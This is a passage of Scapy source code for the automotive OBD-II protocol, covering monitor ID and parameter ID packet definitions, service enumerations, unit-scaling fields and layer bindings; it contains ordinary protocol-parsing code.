pkt.unit_and_scaling_id == 0x81), (ScalingField(name, 0, scaling=0.1, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x82), (ScalingField(name, 0, scaling=0.01, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x83), (ScalingField(name, 0, scaling=0.001, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x84), (ScalingField(name, 0, scaling=0.0000305, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x85), (ScalingField(name, 0, scaling=0.000305, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x86), (ScalingField(name, 0, scaling=0.122, unit="mV", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8A), (ScalingField(name, 0, scaling=0.001, unit="V", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8B), (ScalingField(name, 0, scaling=0.01, unit="V", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8C), (ScalingField(name, 0, scaling=0.00390625, unit="mA", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8D), (ScalingField(name, 0, scaling=0.001, unit="A", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8E), (ScalingField(name, 0, scaling=1, unit="ms", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x90), (ScalingField(name, 0, scaling=0.1, unit="deg. C", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x96), (ScalingField(name, 0, scaling=0.01, unit="deg.", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x9C), (ScalingField(name, 0, scaling=0.5, unit="deg.", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x9D), (ScalingField(name, 0, scaling=1, unit="g/s", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xA8), (ScalingField(name, 0, scaling=0.25, unit="Pa/s", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xA9), (ScalingField(name, 0, scaling=0.01, unit="%", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xAF), (ScalingField(name, 0, scaling=0.003052, unit="%", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xB0), (ScalingField(name, 0, scaling=2, unit="mV/s", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xB1), (ScalingField(name, 0, scaling=0.001, unit="kPa", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xFD), (ScalingField(name, 0, scaling=0.25, unit="Pa", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xFE) ] def _mid_flags(basemid): return [ 'MID%02X' % (basemid + 0x20), 'MID%02X' % (basemid + 0x1F), 'MID%02X' % (basemid + 0x1E), 'MID%02X' % (basemid + 0x1D), 'MID%02X' % (basemid + 0x1C), 'MID%02X' % (basemid + 0x1B), 'MID%02X' % (basemid + 0x1A), 'MID%02X' % (basemid + 0x19), 'MID%02X' % (basemid + 0x18), 'MID%02X' % (basemid + 0x17), 'MID%02X' % (basemid + 0x16), 'MID%02X' % (basemid + 0x15), 'MID%02X' % (basemid + 0x14), 'MID%02X' % (basemid + 0x13), 'MID%02X' % (basemid + 0x12), 'MID%02X' % (basemid + 0x11), 'MID%02X' % (basemid + 0x10), 'MID%02X' % (basemid + 0x0F), 'MID%02X' % (basemid + 0x0E), 'MID%02X' % (basemid + 0x0D), 'MID%02X' % (basemid + 0x0C), 'MID%02X' % (basemid + 0x0B), 'MID%02X' % (basemid + 0x0A), 'MID%02X' % (basemid + 0x09), 'MID%02X' % (basemid + 0x08), 'MID%02X' % (basemid + 0x07), 'MID%02X' % (basemid + 0x06), 'MID%02X' % (basemid + 0x05), 'MID%02X' % (basemid + 0x04), 'MID%02X' % (basemid + 0x03), 'MID%02X' % (basemid + 0x02), 'MID%02X' % (basemid + 0x01) ] class OBD_MIDXX(OBD_Packet): standardized_test_ids = { 1: "TID_01_RichToLeanSensorThresholdVoltage", 2: "TID_02_LeanToRichSensorThresholdVoltage", 3: "TID_03_LowSensorVoltageForSwitchTimeCalculation", 4: "TID_04_HighSensorVoltageForSwitchTimeCalculation", 5: "TID_05_RichToLeanSensorSwitchTime", 6: "TID_06_LeanToRichSensorSwitchTime", 7: "TID_07_MinimumSensorVoltageForTestCycle", 8: "TID_08_MaximumSensorVoltageForTestCycle", 9: "TID_09_TimeBetweenSensorTransitions", 10: "TID_0A_SensorPeriod"} unit_and_scaling_ids = { 0x01: "Raw Value", 0x02: "Raw Value", 0x03: "Raw Value", 0x04: "Raw Value", 0x05: "Raw Value", 0x06: "Raw Value", 0x07: "rotational frequency", 0x08: "Speed", 0x09: "Speed", 0x0A: "Voltage", 0x0B: "Voltage", 0x0C: "Voltage", 0x0D: "Current", 0x0E: "Current", 0x0F: "Current", 0x10: "Time", 0x11: "Time", 0x12: "Time", 0x13: "Resistance", 0x14: "Resistance", 0x15: "Resistance", 0x16: "Temperature", 0x17: "Pressure (Gauge)", 0x18: "Pressure (Air pressure)", 0x19: "Pressure (Fuel pressure)", 0x1A: "Pressure (Gauge)", 0x1B: "Pressure (Diesel pressure)", 0x1C: "Angle", 0x1D: "Angle", 0x1E: "Equivalence ratio (lambda)", 0x1F: "Air/Fuel ratio", 0x20: "Ratio", 0x21: "Frequency", 0x22: "Frequency", 0x23: "Frequency", 0x24: "Counts", 0x25: "Distance", 0x26: "Voltage per time", 0x27: "Mass per time", 0x28: "Mass per time", 0x29: "Pressure per time", 0x2A: "Mass per time", 0x2B: "Switches", 0x2C: "Mass per cylinder", 0x2D: "Mass per stroke", 0x2E: "True/False", 0x2F: "Percent", 0x30: "Percent", 0x31: "volume", 0x32: "length", 0x33: "Equivalence ratio (lambda)", 0x34: "Time", 0x35: "Time", 0x36: "Weight", 0x37: "Weight", 0x38: "Weight", 0x39: "Percent", 0x81: "Raw Value", 0x82: "Raw Value", 0x83: "Raw Value", 0x84: "Raw Value", 0x85: "Raw Value", 0x86: "Raw Value", 0x8A: "Voltage", 0x8B: "Voltage", 0x8C: "Voltage", 0x8D: "Current", 0x8E: "Current", 0x90: "Time", 0x96: "Temperature", 0x9C: "Angle", 0x9D: "Angle", 0xA8: "Mass per time", 0xA9: "Pressure per time", 0xAF: "Percent", 0xB0: "Percent", 0xB1: "Voltage per time", 0xFD: "Pressure", 0xFE: "Pressure" } name = "OBD MID data record" fields_desc = [ ByteEnumField("standardized_test_id", 1, standardized_test_ids), ByteEnumField("unit_and_scaling_id", 1, unit_and_scaling_ids), MultipleTypeField(_unit_and_scaling_fields("test_value"), ShortField("test_value", 0)), MultipleTypeField(_unit_and_scaling_fields("min_limit"), ShortField("min_limit", 0)), MultipleTypeField(_unit_and_scaling_fields("max_limit"), ShortField("max_limit", 0)), ] class OBD_MID00(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x00)), ] class OBD_MID20(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x20)), ] class OBD_MID40(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x40)), ] class OBD_MID60(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x60)), ] class OBD_MID80(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x80)), ] class OBD_MIDA0(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0xA0)), ] class OBD_S06_PR_Record(Packet): on_board_monitoring_ids = { 0x00: "OBD Monitor IDs supported ($01 - $20)", 0x01: "Oxygen Sensor Monitor Bank 1 - Sensor 1", 0x02: "Oxygen Sensor Monitor Bank 1 - Sensor 2", 0x03: "Oxygen Sensor Monitor Bank 1 - Sensor 3", 0x04: "Oxygen Sensor Monitor Bank 1 - Sensor 4", 0x05: "Oxygen Sensor Monitor Bank 2 - Sensor 1", 0x06: "Oxygen Sensor Monitor Bank 2 - Sensor 2", 0x07: "Oxygen Sensor Monitor Bank 2 - Sensor 3", 0x08: "Oxygen Sensor Monitor Bank 2 - Sensor 4", 0x09: "Oxygen Sensor Monitor Bank 3 - Sensor 1", 0x0A: "Oxygen Sensor Monitor Bank 3 - Sensor 2", 0x0B: "Oxygen Sensor Monitor Bank 3 - Sensor 3", 0x0C: "Oxygen Sensor Monitor Bank 3 - Sensor 4", 0x0D: "Oxygen Sensor Monitor Bank 4 - Sensor 1", 0x0E: "Oxygen Sensor Monitor Bank 4 - Sensor 2", 0x0F: "Oxygen Sensor Monitor Bank 4 - Sensor 3", 0x10: "Oxygen Sensor Monitor Bank 4 - Sensor 4", 0x20: "OBD Monitor IDs supported ($21 - $40)", 0x21: "Catalyst Monitor Bank 1", 0x22: "Catalyst Monitor Bank 2", 0x23: "Catalyst Monitor Bank 3", 0x24: "Catalyst Monitor Bank 4", 0x32: "EGR Monitor Bank 2", 0x33: "EGR Monitor Bank 3", 0x34: "EGR Monitor Bank 4", 0x35: "VVT Monitor Bank 1", 0x36: "VVT Monitor Bank 2", 0x37: "VVT Monitor Bank 3", 0x38: "VVT Monitor Bank 4", 0x39: "EVAP Monitor (Cap Off / 0.150\")", 0x3A: "EVAP Monitor (0.090\")", 0x3B: "EVAP Monitor (0.040\")", 0x3C: "EVAP Monitor (0.020\")", 0x3D: "Purge Flow Monitor", 0x40: "OBD Monitor IDs supported ($41 - $60)", 0x41: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 1", 0x42: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 2", 0x43: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 3", 0x44: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 4", 0x45: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 1", 0x46: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 2", 0x47: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 3", 0x48: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 4", 0x49: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 1", 0x4A: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 2", 0x4B: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 3", 0x4C: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 4", 0x4D: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 1", 0x4E: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 2", 0x4F: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 3", 0x50: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 4", 0x60: "OBD Monitor IDs supported ($61 - $80)", 0x61: "Heated Catalyst Monitor Bank 1", 0x62: "Heated Catalyst Monitor Bank 2", 0x63: "Heated Catalyst Monitor Bank 3", 0x64: "Heated Catalyst Monitor Bank 4", 0x71: "Secondary Air Monitor 1", 0x72: "Secondary Air Monitor 2", 0x73: "Secondary Air Monitor 3", 0x74: "Secondary Air Monitor 4", 0x80: "OBD Monitor IDs supported ($81 - $A0)", 0x81: "Fuel System Monitor Bank 1", 0x82: "Fuel System Monitor Bank 2", 0x83: "Fuel System Monitor Bank 3", 0x84: "Fuel System Monitor Bank 4", 0x85: "Boost Pressure Control Monitor Bank 1", 0x86: "Boost Pressure Control Monitor Bank 2", 0x90: "NOx Adsorber Monitor Bank 1", 0x91: "NOx Adsorber Monitor Bank 2", 0x98: "NOx Catalyst Monitor Bank 1", 0x99: "NOx Catalyst Monitor Bank 2", 0xA0: "OBD Monitor IDs supported ($A1 - $C0)", 0xA1: "Misfire Monitor General Data", 0xA2: "Misfire Cylinder 1 Data", 0xA3: "Misfire Cylinder 2 Data", 0xA4: "Misfire Cylinder 3 Data", 0xA5: "Misfire Cylinder 4 Data", 0xA6: "Misfire Cylinder 5 Data", 0xA7: "Misfire Cylinder 6 Data", 0xA8: "Misfire Cylinder 7 Data", 0xA9: "Misfire Cylinder 8 Data", 0xAA: "Misfire Cylinder 9 Data", 0xAB: "Misfire Cylinder 10 Data", 0xAC: "Misfire Cylinder 11 Data", 0xAD: "Misfire Cylinder 12 Data", 0xB0: "PM Filter Monitor Bank 1", 0xB1: "PM Filter Monitor Bank 2" } name = "On-Board diagnostic monitoring ID" fields_desc = [ ByteEnumField("mid", 0, on_board_monitoring_ids), ] class OBD_S06_PR(Packet): name = "On-Board monitoring IDs" fields_desc = [ PacketListField("data_records", [], OBD_S06_PR_Record) ] def answers(self, other): return isinstance(other, OBD_S06) \ and all(r.mid in other.mid for r in self.data_records) bind_layers(OBD_S06_PR_Record, OBD_MID00, mid=0x00) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x01) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x02) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x03) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x04) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x05) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x06) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x07) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x08) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x09) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0A) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0B) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0C) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0D) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0E) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0F) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x10) bind_layers(OBD_S06_PR_Record, OBD_MID20, mid=0x20) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x21) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x22) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x23) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x24) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x32) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x33) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x34) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x35) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x36) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x37) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x38) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x39) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3A) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3B) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3C) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3D) bind_layers(OBD_S06_PR_Record, OBD_MID40, mid=0x40) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x41) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x42) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x43) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x44) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x45) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x46) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x47) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x48) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x49) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4A) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4B) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4C) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4D) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4E) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4F) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x50) bind_layers(OBD_S06_PR_Record, OBD_MID60, mid=0x60) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x61) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x62) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x63) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x64) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x71) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x72) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x73) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x74) bind_layers(OBD_S06_PR_Record, OBD_MID80, mid=0x80) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x81) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x82) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x83) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x84) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x85) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x86) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x90) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x91) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x98) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x99) bind_layers(OBD_S06_PR_Record, OBD_MIDA0, mid=0xA0) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA1) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA2) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA3) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA4) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA5) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA6) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA7) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA8) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA9) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAA) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAB) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAC) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAD) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xB0) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xB1) ================================================ FILE: scapy/contrib/automotive/obd/obd.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.description = On Board Diagnostic Protocol (OBD-II) # scapy.contrib.status = loads import struct from scapy.contrib.automotive.obd.iid.iids import * from scapy.contrib.automotive.obd.mid.mids import * from scapy.contrib.automotive.obd.pid.pids import * from scapy.contrib.automotive.obd.tid.tids import * from scapy.contrib.automotive.obd.services import * from scapy.packet import bind_layers, NoPayload from scapy.config import conf from scapy.fields import XByteEnumField from scapy.contrib.isotp import ISOTP try: if conf.contribs['OBD']['treat-response-pending-as-answer']: pass except KeyError: # log_automotive.info("Specify \"conf.contribs['OBD'] = " # "{'treat-response-pending-as-answer': True}\" to treat " # "a negative response 'requestCorrectlyReceived-" # "ResponsePending' as answer of a request. \n" # "The default value is False.") conf.contribs['OBD'] = {'treat-response-pending-as-answer': False} class OBD(ISOTP): services = { 0x01: 'CurrentPowertrainDiagnosticDataRequest', 0x02: 'PowertrainFreezeFrameDataRequest', 0x03: 'EmissionRelatedDiagnosticTroubleCodesRequest', 0x04: 'ClearResetDiagnosticTroubleCodesRequest', 0x05: 'OxygenSensorMonitoringTestResultsRequest', 0x06: 'OnBoardMonitoringTestResultsRequest', 0x07: 'PendingEmissionRelatedDiagnosticTroubleCodesRequest', 0x08: 'ControlOperationRequest', 0x09: 'VehicleInformationRequest', 0x0A: 'PermanentDiagnosticTroubleCodesRequest', 0x41: 'CurrentPowertrainDiagnosticDataResponse', 0x42: 'PowertrainFreezeFrameDataResponse', 0x43: 'EmissionRelatedDiagnosticTroubleCodesResponse', 0x44: 'ClearResetDiagnosticTroubleCodesResponse', 0x45: 'OxygenSensorMonitoringTestResultsResponse', 0x46: 'OnBoardMonitoringTestResultsResponse', 0x47: 'PendingEmissionRelatedDiagnosticTroubleCodesResponse', 0x48: 'ControlOperationResponse', 0x49: 'VehicleInformationResponse', 0x4A: 'PermanentDiagnosticTroubleCodesResponse', 0x7f: 'NegativeResponse'} name = "On-board diagnostics" fields_desc = [ XByteEnumField('service', 0, services) ] def hashret(self): if self.service == 0x7f: return struct.pack('B', self.request_service_id & ~0x40) return struct.pack('B', self.service & ~0x40) def answers(self, other): if other.__class__ != self.__class__: return False if self.service == 0x7f: return self.payload.answers(other) if self.service == (other.service + 0x40): if isinstance(self.payload, NoPayload) or \ isinstance(other.payload, NoPayload): return True else: return self.payload.answers(other.payload) return False # Service Bindings bind_layers(OBD, OBD_S01, service=0x01) bind_layers(OBD, OBD_S02, service=0x02) bind_layers(OBD, OBD_S03, service=0x03) bind_layers(OBD, OBD_S04, service=0x04) bind_layers(OBD, OBD_S06, service=0x06) bind_layers(OBD, OBD_S07, service=0x07) bind_layers(OBD, OBD_S08, service=0x08) bind_layers(OBD, OBD_S09, service=0x09) bind_layers(OBD, OBD_S0A, service=0x0A) bind_layers(OBD, OBD_S01_PR, service=0x41) bind_layers(OBD, OBD_S02_PR, service=0x42) bind_layers(OBD, OBD_S03_PR, service=0x43) bind_layers(OBD, OBD_S04_PR, service=0x44) bind_layers(OBD, OBD_S06_PR, service=0x46) bind_layers(OBD, OBD_S07_PR, service=0x47) bind_layers(OBD, OBD_S08_PR, service=0x48) bind_layers(OBD, OBD_S09_PR, service=0x49) bind_layers(OBD, OBD_S0A_PR, service=0x4A) bind_layers(OBD, OBD_NR, service=0x7F) ================================================ FILE: scapy/contrib/automotive/obd/packet.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.packet import Packet class OBD_Packet(Packet): def extract_padding(self, s): return '', s ================================================ FILE: scapy/contrib/automotive/obd/pid/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/obd/pid/pids.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.packet import Packet, bind_layers from scapy.fields import PacketListField from scapy.contrib.automotive.obd.services import OBD_S01, OBD_S02 from scapy.contrib.automotive.obd.pid.pids_00_1F import * from scapy.contrib.automotive.obd.pid.pids_20_3F import * from scapy.contrib.automotive.obd.pid.pids_40_5F import * from scapy.contrib.automotive.obd.pid.pids_60_7F import * from scapy.contrib.automotive.obd.pid.pids_80_9F import * from scapy.contrib.automotive.obd.pid.pids_A0_C0 import * class OBD_S01_PR_Record(Packet): fields_desc = [ XByteField("pid", 0), ] class OBD_S01_PR(Packet): name = "Parameter IDs" fields_desc = [ PacketListField("data_records", [], OBD_S01_PR_Record) ] def answers(self, other): return isinstance(other, OBD_S01) \ and all(r.pid in other.pid for r in self.data_records) class OBD_S02_PR_Record(Packet): fields_desc = [ XByteField("pid", 0), XByteField("frame_no", 0), ] class OBD_S02_PR(Packet): name = "Parameter IDs" fields_desc = [ PacketListField("data_records", [], OBD_S02_PR_Record) ] def answers(self, other): return isinstance(other, OBD_S02) \ and all(r.pid in [o.pid for o in other.requests] for r in self.data_records) bind_layers(OBD_S01_PR_Record, OBD_PID00, pid=0x00) bind_layers(OBD_S01_PR_Record, OBD_PID01, pid=0x01) bind_layers(OBD_S01_PR_Record, OBD_PID02, pid=0x02) bind_layers(OBD_S01_PR_Record, OBD_PID03, pid=0x03) bind_layers(OBD_S01_PR_Record, OBD_PID04, pid=0x04) bind_layers(OBD_S01_PR_Record, OBD_PID05, pid=0x05) bind_layers(OBD_S01_PR_Record, OBD_PID06, pid=0x06) bind_layers(OBD_S01_PR_Record, OBD_PID07, pid=0x07) bind_layers(OBD_S01_PR_Record, OBD_PID08, pid=0x08) bind_layers(OBD_S01_PR_Record, OBD_PID09, pid=0x09) bind_layers(OBD_S01_PR_Record, OBD_PID0A, pid=0x0A) bind_layers(OBD_S01_PR_Record, OBD_PID0B, pid=0x0B) bind_layers(OBD_S01_PR_Record, OBD_PID0C, pid=0x0C) bind_layers(OBD_S01_PR_Record, OBD_PID0D, pid=0x0D) bind_layers(OBD_S01_PR_Record, OBD_PID0E, pid=0x0E) bind_layers(OBD_S01_PR_Record, OBD_PID0F, pid=0x0F) bind_layers(OBD_S01_PR_Record, OBD_PID10, pid=0x10) bind_layers(OBD_S01_PR_Record, OBD_PID11, pid=0x11) bind_layers(OBD_S01_PR_Record, OBD_PID12, pid=0x12) bind_layers(OBD_S01_PR_Record, OBD_PID13, pid=0x13) bind_layers(OBD_S01_PR_Record, OBD_PID14, pid=0x14) bind_layers(OBD_S01_PR_Record, OBD_PID15, pid=0x15) bind_layers(OBD_S01_PR_Record, OBD_PID16, pid=0x16) bind_layers(OBD_S01_PR_Record, OBD_PID17, pid=0x17) bind_layers(OBD_S01_PR_Record, OBD_PID18, pid=0x18) bind_layers(OBD_S01_PR_Record, OBD_PID19, pid=0x19) bind_layers(OBD_S01_PR_Record, OBD_PID1A, pid=0x1A) bind_layers(OBD_S01_PR_Record, OBD_PID1B, pid=0x1B) bind_layers(OBD_S01_PR_Record, OBD_PID1C, pid=0x1C) bind_layers(OBD_S01_PR_Record, OBD_PID1D, pid=0x1D) bind_layers(OBD_S01_PR_Record, OBD_PID1E, pid=0x1E) bind_layers(OBD_S01_PR_Record, OBD_PID1F, pid=0x1F) bind_layers(OBD_S01_PR_Record, OBD_PID20, pid=0x20) bind_layers(OBD_S01_PR_Record, OBD_PID21, pid=0x21) bind_layers(OBD_S01_PR_Record, OBD_PID22, pid=0x22) bind_layers(OBD_S01_PR_Record, OBD_PID23, pid=0x23) bind_layers(OBD_S01_PR_Record, OBD_PID24, pid=0x24) bind_layers(OBD_S01_PR_Record, OBD_PID25, pid=0x25) bind_layers(OBD_S01_PR_Record, OBD_PID26, pid=0x26) bind_layers(OBD_S01_PR_Record, OBD_PID27, pid=0x27) bind_layers(OBD_S01_PR_Record, OBD_PID28, pid=0x28) bind_layers(OBD_S01_PR_Record, OBD_PID29, pid=0x29) bind_layers(OBD_S01_PR_Record, OBD_PID2A, pid=0x2A) bind_layers(OBD_S01_PR_Record, OBD_PID2B, pid=0x2B) bind_layers(OBD_S01_PR_Record, OBD_PID2C, pid=0x2C) bind_layers(OBD_S01_PR_Record, OBD_PID2D, pid=0x2D) bind_layers(OBD_S01_PR_Record, OBD_PID2E, pid=0x2E) bind_layers(OBD_S01_PR_Record, OBD_PID2F, pid=0x2F) bind_layers(OBD_S01_PR_Record, OBD_PID30, pid=0x30) bind_layers(OBD_S01_PR_Record, OBD_PID31, pid=0x31) bind_layers(OBD_S01_PR_Record, OBD_PID32, pid=0x32) bind_layers(OBD_S01_PR_Record, OBD_PID33, pid=0x33) bind_layers(OBD_S01_PR_Record, OBD_PID34, pid=0x34) bind_layers(OBD_S01_PR_Record, OBD_PID35, pid=0x35) bind_layers(OBD_S01_PR_Record, OBD_PID36, pid=0x36) bind_layers(OBD_S01_PR_Record, OBD_PID37, pid=0x37) bind_layers(OBD_S01_PR_Record, OBD_PID38, pid=0x38) bind_layers(OBD_S01_PR_Record, OBD_PID39, pid=0x39) bind_layers(OBD_S01_PR_Record, OBD_PID3A, pid=0x3A) bind_layers(OBD_S01_PR_Record, OBD_PID3B, pid=0x3B) bind_layers(OBD_S01_PR_Record, OBD_PID3C, pid=0x3C) bind_layers(OBD_S01_PR_Record, OBD_PID3D, pid=0x3D) bind_layers(OBD_S01_PR_Record, OBD_PID3E, pid=0x3E) bind_layers(OBD_S01_PR_Record, OBD_PID3F, pid=0x3F) bind_layers(OBD_S01_PR_Record, OBD_PID40, pid=0x40) bind_layers(OBD_S01_PR_Record, OBD_PID41, pid=0x41) bind_layers(OBD_S01_PR_Record, OBD_PID42, pid=0x42) bind_layers(OBD_S01_PR_Record, OBD_PID43, pid=0x43) bind_layers(OBD_S01_PR_Record, OBD_PID44, pid=0x44) bind_layers(OBD_S01_PR_Record, OBD_PID45, pid=0x45) bind_layers(OBD_S01_PR_Record, OBD_PID46, pid=0x46) bind_layers(OBD_S01_PR_Record, OBD_PID47, pid=0x47) bind_layers(OBD_S01_PR_Record, OBD_PID48, pid=0x48) bind_layers(OBD_S01_PR_Record, OBD_PID49, pid=0x49) bind_layers(OBD_S01_PR_Record, OBD_PID4A, pid=0x4A) bind_layers(OBD_S01_PR_Record, OBD_PID4B, pid=0x4B) bind_layers(OBD_S01_PR_Record, OBD_PID4C, pid=0x4C) bind_layers(OBD_S01_PR_Record, OBD_PID4D, pid=0x4D) bind_layers(OBD_S01_PR_Record, OBD_PID4E, pid=0x4E) bind_layers(OBD_S01_PR_Record, OBD_PID4F, pid=0x4F) bind_layers(OBD_S01_PR_Record, OBD_PID50, pid=0x50) bind_layers(OBD_S01_PR_Record, OBD_PID51, pid=0x51) 